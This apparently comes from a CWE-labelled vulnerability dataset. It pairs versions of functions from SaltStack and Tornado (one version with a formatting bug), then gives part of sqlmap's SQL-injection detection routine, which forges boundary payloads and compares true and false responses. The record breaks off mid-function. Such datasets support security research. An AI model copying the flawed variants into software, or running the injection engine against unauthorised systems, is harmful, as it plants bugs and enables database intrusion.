        The context to use. Set this to a file path, prefixed by ``/files``, to
        avoid redundancy, e.g.:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
        the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{0}"":\n'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if context:
        filename = re.sub('^/files|/$', '', context)
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = diff
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = changes

    return ret",CWE-605,saltstack/salt,db59dc16973e4ec315cccc4b6b16562681d35aae,"def change(name, context=None, changes=None, lens=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        The context to use. Set this to a file path, prefixed by ``/files``, to
        avoid redundancy, e.g.:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
        the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{1}""'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if context:
        filename = re.sub('^/files|/$', '', context)
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = diff
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = changes

    return ret"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def __init__(
        self,
        request: httpclient.HTTPRequest,
        on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
        compression_options: Optional[Dict[str, Any]] = None,
        ping_interval: Optional[float] = None,
        ping_timeout: Optional[float] = None,
        max_message_size: int = _default_max_message_size,
        subprotocols: Optional[List[str]] = None,
        resolver: Optional[Resolver] = None,
    ) -> None:
        self.connect_future = Future()  # type: Future[WebSocketClientConnection]
        self.read_queue = Queue(1)  # type: Queue[Union[None, str, bytes]]
        self.key = base64.b64encode(os.urandom(16))
        self._on_message_callback = on_message_callback
        self.close_code = None  # type: Optional[int]
        self.close_reason = None  # type: Optional[str]
        self.params = _WebSocketParams(
            ping_interval=ping_interval,
            ping_timeout=ping_timeout,
            max_message_size=max_message_size,
            compression_options=compression_options,
        )

        scheme, sep, rest = request.url.partition("":"")
        scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
        request.url = scheme + sep + rest
        request.headers.update(
            {
                ""Upgrade"": ""websocket"",
                ""Connection"": ""Upgrade"",
                ""Sec-WebSocket-Key"": to_unicode(self.key),
                ""Sec-WebSocket-Version"": ""13"",
            }
        )
        if subprotocols is not None:
            request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
        if compression_options is not None:
            # Always offer to let the server set our max_wbits (and even though
            # we don't offer it, we will accept a client_no_context_takeover
            # from the server).
            # TODO: set server parameters for deflate extension
            # if requested in self.compression_options.
            request.headers[""Sec-WebSocket-Extensions""] = (
                ""permessage-deflate; client_max_window_bits""
            )

        # Websocket connection is currently unable to follow redirects
        request.follow_redirects = False

        self.tcp_client = TCPClient(resolver=resolver)
        super().__init__(
            None,
            request,
            lambda: None,
            self._on_http_response,
            104857600,
            self.tcp_client,
            65536,
            104857600,
        )",CWE-Unknown,tornadoweb/tornado,e7dff512f8329dfc92590f144abbeaff55fce6ad,"def __init__(
        self,
        request: httpclient.HTTPRequest,
        on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
        compression_options: Optional[Dict[str, Any]] = None,
        ping_interval: Optional[float] = None,
        ping_timeout: Optional[float] = None,
        max_message_size: int = _default_max_message_size,
        subprotocols: Optional[List[str]] = None,
        resolver: Optional[Resolver] = None,
    ) -> None:
        self.connect_future = Future()  # type: Future[WebSocketClientConnection]
        self.read_queue = Queue(1)  # type: Queue[Union[None, str, bytes]]
        self.key = base64.b64encode(os.urandom(16))
        self._on_message_callback = on_message_callback
        self.close_code = None  # type: Optional[int]
        self.close_reason = None  # type: Optional[str]
        self.params = _WebSocketParams(
            ping_interval=ping_interval,
            ping_timeout=ping_timeout,
            max_message_size=max_message_size,
            compression_options=compression_options,
        )

        scheme, sep, rest = request.url.partition("":"")
        scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
        request.url = scheme + sep + rest
        request.headers.update(
            {
                ""Upgrade"": ""websocket"",
                ""Connection"": ""Upgrade"",
                ""Sec-WebSocket-Key"": self.key,
                ""Sec-WebSocket-Version"": ""13"",
            }
        )
        if subprotocols is not None:
            request.headers[""Sec-WebSocket-Protocol""] = "","".join(subprotocols)
        if compression_options is not None:
            # Always offer to let the server set our max_wbits (and even though
            # we don't offer it, we will accept a client_no_context_takeover
            # from the server).
            # TODO: set server parameters for deflate extension
            # if requested in self.compression_options.
            request.headers[""Sec-WebSocket-Extensions""] = (
                ""permessage-deflate; client_max_window_bits""
            )

        # Websocket connection is currently unable to follow redirects
        request.follow_redirects = False

        self.tcp_client = TCPClient(resolver=resolver)
        super().__init__(
            None,
            request,
            lambda: None,
            self._on_http_response,
            104857600,
            self.tcp_client,
            65536,
            104857600,
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/checks.py,0,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if value.isdigit():
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS
                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""specified to test only for ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else """"
                suffix = boundary.suffix if boundary.suffix else """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
